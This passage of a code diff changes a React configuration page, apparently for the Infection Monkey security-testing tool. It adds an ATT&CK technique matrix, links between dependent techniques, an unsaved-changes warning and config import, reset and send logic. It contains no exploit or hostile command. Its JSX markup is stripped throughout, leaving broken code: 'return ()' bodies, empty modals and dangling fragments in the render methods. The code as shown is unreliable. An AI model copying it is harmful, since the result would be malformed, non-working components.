mapped ){ + // Loop trough each column and each row + Object.entries(this.state.attackConfig).forEach(otherType => { + Object.entries(otherType[1].properties).forEach(otherTech => { + // If this technique depends on a technique that was changed + if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)){ + this.attackTechniqueChange(otherTech[0], value, true) + } + }) + }); + } + } + }); + }; + onChange = ({formData}) => { this.currentFormData = formData; }; @@ -111,10 +203,48 @@ class ConfigurePageComponent extends AuthComponent { newConfig[this.currentSection] = this.currentFormData; this.currentFormData = {}; } - this.setState({configuration: newConfig}); + this.setState({configuration: newConfig, lastAction: 'none'}); }; + renderAttackAlertModal = () => { + return ( {this.setState({showAttackAlert: false})}}> + +

Warning

+

+ You have unsubmitted changes. Submit them before proceeding. +

+
+ +
+
+
) + }; + + userChangedConfig(){ + if(JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)){ + if(Object.keys(this.currentFormData).length === 0 || + JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.currentFormData)){ + return false; + } + } + return true; + } + + userChangedMatrix(){ + return (JSON.stringify(this.state.attackConfig) !== JSON.stringify(this.initialAttackConfig)) + } + setSelectedSection = (key) => { + if ((key === 'attack' && this.userChangedConfig()) || + (this.currentSection === 'attack' && this.userChangedMatrix())){ + this.setState({showAttackAlert: true}); + return; + } this.updateConfigSection(); this.currentSection = key; this.setState({ @@ -124,7 +254,7 @@ class ConfigurePageComponent extends AuthComponent { resetConfig = () => { this.removePBAfiles(); - this.authFetch('/api/configuration/island', + this.authFetch(CONFIG_URL, { method: 'POST', headers: {'Content-Type': 'application/json'}, @@ -137,8 +267,17 @@ class ConfigurePageComponent extends AuthComponent { schema: res.schema, configuration: res.configuration }); + this.setInitialConfig(res.configuration); this.props.onStatusChange(); }); + this.authFetch(ATTACK_URL,{ method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify('reset_attack_matrix')}) + .then(res => res.json()) + .then(res => { + this.setState({attackConfig: res.configuration}); + this.setInitialAttackConfig(res.configuration); + }) }; removePBAfiles(){ @@ -160,9 +299,8 @@ class ConfigurePageComponent extends AuthComponent { try { this.setState({ configuration: JSON.parse(event.target.result), - selectedSection: 'basic', lastAction: 'import_success' - }); + }, () => {this.sendConfig(); this.setInitialConfig(JSON.parse(event.target.result))}); this.currentSection = 'basic'; this.currentFormData = {}; } catch(SyntaxError) { @@ -175,6 +313,26 @@ class ConfigurePageComponent extends AuthComponent { fileDownload(JSON.stringify(this.state.configuration, null, 2), 'monkey.conf'); }; + sendConfig() { + return ( + this.authFetch('/api/configuration/island', + { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify(this.state.configuration) + }) + .then(res => { + if (!res.ok) + { + throw Error() + } + return res; + }).catch(error => { + console.log('bad configuration'); + this.setState({lastAction: 'invalid_configuration'}); + })); + }; + importConfig = (event) => { let reader = new FileReader(); reader.onload = this.onReadFile; @@ -251,13 +409,12 @@ class ConfigurePageComponent extends AuthComponent { } static getFullPBAfile(filename){ - let pbaFile = [{ + return [{ source: filename, options: { type: 'limbo' } }]; - return pbaFile } static getMockPBAfile(mockFile){ @@ -271,39 +428,29 @@ class ConfigurePageComponent extends AuthComponent { return pbaFile } - render() { - let displayedSchema = {}; - if (this.state.schema.hasOwnProperty('properties')) { - displayedSchema = this.state.schema['properties'][this.state.selectedSection]; - displayedSchema['definitions'] = this.state.schema['definitions']; - } - return ( - -

Monkey Configuration

- - { - this.state.selectedSection === 'basic_network' ? -
- - The Monkey scans its subnet if "Local network scan" is ticked. Additionally the monkey scans machines - according to its range class. -
- :
- } - { this.state.selectedSection ? -
-
+ renderMatrix = () => { + return () + }; + + + renderConfigContent = (displayedSchema) => { + return (
+ {this.renderBasicNetworkWarning()} + + + +
) + }; + + renderRunningMonkeysWarning = () => { + return (
{ this.state.allMonkeysAreDead ? '' :
@@ -312,17 +459,57 @@ class ConfigurePageComponent extends AuthComponent { infections.
} -
- - -
-
- - : ''} +
) + }; + + renderBasicNetworkWarning = () => { + if (this.state.selectedSection === 'basic_network'){ + return (
+ + The Monkey scans its subnet if "Local network scan" is ticked. Additionally the monkey scans machines + according to its range class. +
) + } else { + return (
) + } + }; + + renderNav = () => { + return () + }; + + render() { + let displayedSchema = {}; + if (this.state.schema.hasOwnProperty('properties') && this.state.selectedSection !== 'attack') { + displayedSchema = this.state.schema['properties'][this.state.selectedSection]; + displayedSchema['definitions'] = this.state.schema['definitions']; + } + let content = ''; + if (this.state.selectedSection === 'attack' && Object.entries(this.state.attackConfig).length !== 0 ) { + content = this.renderMatrix() + } else if(this.state.selectedSection !== 'attack') { + content = this.renderConfigContent(displayedSchema) + } + + return ( + + {this.renderAttackAlertModal()} +

Monkey Configuration

+ {this.renderNav()} + { this.renderRunningMonkeysWarning()} + { content } +
+ + +